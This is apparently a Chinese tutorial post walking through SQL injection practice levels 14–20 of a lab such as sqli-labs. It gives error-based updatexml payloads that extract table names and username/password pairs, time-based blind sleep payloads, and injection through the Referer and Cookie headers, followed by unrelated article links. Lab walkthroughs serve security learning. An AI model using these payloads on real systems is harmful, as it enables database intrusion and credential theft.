Sql注入(靶场)14-20关

server/2024/12/18 18:26:13/

第十四关

跟上面一样闭合换成"

第一步查询库名

" and updatexml(1,concat(1,(select database())),1)#

第二步查询表名

" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

第三步查询字段

" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#

第四步获取敏感数据

" and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1)#
或
" and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1)#

第十五关

这一关发送的重放器里进行注入

第一步进行时间盲注判断发现响应时间为sleep函数执行的时间则存在

' and sleep(3)#

第二步开始判断数据库的长度

' and if(length(database())=8,sleep(3),1)#
#截取数据库的字符
' and if((ascii(substr(database(),1,1))=115),sleep(3),0)#

第三步爆出表名

#截取表的长度
' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),0)#
#获取表的名称,这里直接跑user表
' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)#

第四步爆出字段

' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=117,sleep(5),0)#

第五步爆出数据

' and if(ascii(substr((select (id,username,password) from users),1,1))=117,sleep(5),0)#

第十六关

这一关与15关的注入方式一样,都是使用盲注可以实现,只是闭合方式不同,这里需要使用")来闭合,就里就不再演示

第一步进行时间盲注

") and sleep(3)#

第二步开始判断数据库的长度

第三步爆出表名

第四步爆出字段

第五步爆出数据

 

第十七关

这一关是比较特殊的一关,从17关开始,后端会过滤我们输入的内容,我们看一下后端的代码

我们可以看看前端页面输入的时用户名和新密码,输入了admin,然后输入密码,就会显示密码已经成功的更新了

这时我们闭合一下

可以看到报错了,说明是存在注入的,那么我们就可以尝试使用报错注入

' and (updatexml(1,concat(0x7e, database(),0x7e),1))#

可以看到是可以注入出数据库名称了,后面的表名,列名,数据都可以使用这种方式注入

我们接着使用报错注入爆破他的表名

我们继续爆破他的字段名

我们接着爆破他的数据

这时我们得到了数据库中的数据,至此爆破完成。

第十九关

我们和第十八关一样在输入框中输入 admin 点击登录,直接抓包

这时我们使用看到页面中显示 referer 我们在请求头中也看到了 referer

我们就在它后面加冒号查看页面会不会变化

我们发现页面报错了这时我们还是使用报错注入来获取数据库的名字

我们还是使用 and' 来闭合

可以得到数据库的名字

这时我们就能使用报错注入来爆破数据了(和第十八关一样)

这时我们得到了数据库中的数据,至此爆破完成。

第二十关

我们和第十八关一样在输入框中输入 admin 点击登录

我们继续使用 bp 抓这个页面,发送到重放器

我们再请求头中的 cookie 后加'发现页面有变化发生了报错

这时我们使用报错注入

这时我们得到数据库的名字

然后我们继续用报错注入就能得到数据库的数据

得到了数据库的数据,至此爆破成功!


http://www.ppmy.cn/server/151236.html

相关文章

开源Java快速自测工具,可以调用系统内任意一个方法

java快速测试框架,可以调到系统内任意一个方法,告别写单测和controller的困扰。 开源地址:https://gitee.com/missyouch/Easy-JTest 我们在开发时很多时候想要测试下自己的代码,特别是service层或者是更底层的代码,就…

【Qt】QWidget中的常见属性及其功能(一)

目录 一、 enabled 例子: 二、geometry 例子: window fram 例子 : 四、windowTiltle 五、windowIcon 例子: qrc机制 创建qrc文件 例子: qt中的很多内置类都是继承自QWidget的,因此熟悉QWidget的…

Python数据分析(OpenCV视频处理)

处理视频我们引入的还是numpy 和 OpenCV 的包 引入方式如下: import numpy as np import cv2 我们使用OpenCV来加载本地视频,参数就是你视频的路径就可以 #加载视频 cap cv2.VideoCapture(./1.mp4) 下面我们进行读取视频 #读取视频 flag,frame cap.re…

第六章:反射+设计模式

一、反射 1. 反射 (Reflection) :允许在程序运行状态中,可以获取任意类中的属性和方法,并且可以操作任意对象内部的属 性和方法,这种动态获取类的信息及动态操作对象的属性和方法对应的机制称为反射机制。 2. 类对象 和 类的…

Android通过okhttp下载文件(本文案例 下载mp4到本地,并更新到相册)

使用步骤分为两步 第一步导入 okhttp3 依赖 第二步调用本文提供的 utils 第一步这里不做说明了,直接提供第二步复制即用 DownloadUtil 中 download 为下载文件 参数说明 这里主要看你把 destFileName 下载文件名称定义为什么后缀,比如我定义为 .mp4 下…

Linux安装部署Redis(超级详细)

前言 网上搜索了一筐如何在Linux下安装部署Redis的文章,各种文章混搭在一起勉强安装成功了。自己也记录下,方便后续安装时候有个借鉴之处。 Redis版本 5.0.4服务器版本 Linux CentOS 7.6 64位 下载Redis 进入官网找到下载地址 https://redis.io/down…

Java算法OJ(7)随机快速排序

目录 1.前言 2.正文 1. 快速排序的基本原理 2. 随机快速排序的改进 3. 随机快速排序的步骤 3.小结 1.前言 哈喽大家好吖,今儿给大家带来算法—随机快速排序相关知识点,废话不多说让我们开始。 2.正文 在了解随机快排之前,先了解一下…

<数据集>输电线塔杂物识别数据集<目标检测>

数据集下载链接 <数据集>输电线塔杂物识别数据集<目标检测>https://download.csdn.net/download/qq_53332949/90141102数据集格式:VOCYOLO格式 图片数量:1099张 标注数量(xml文件个数):1099 …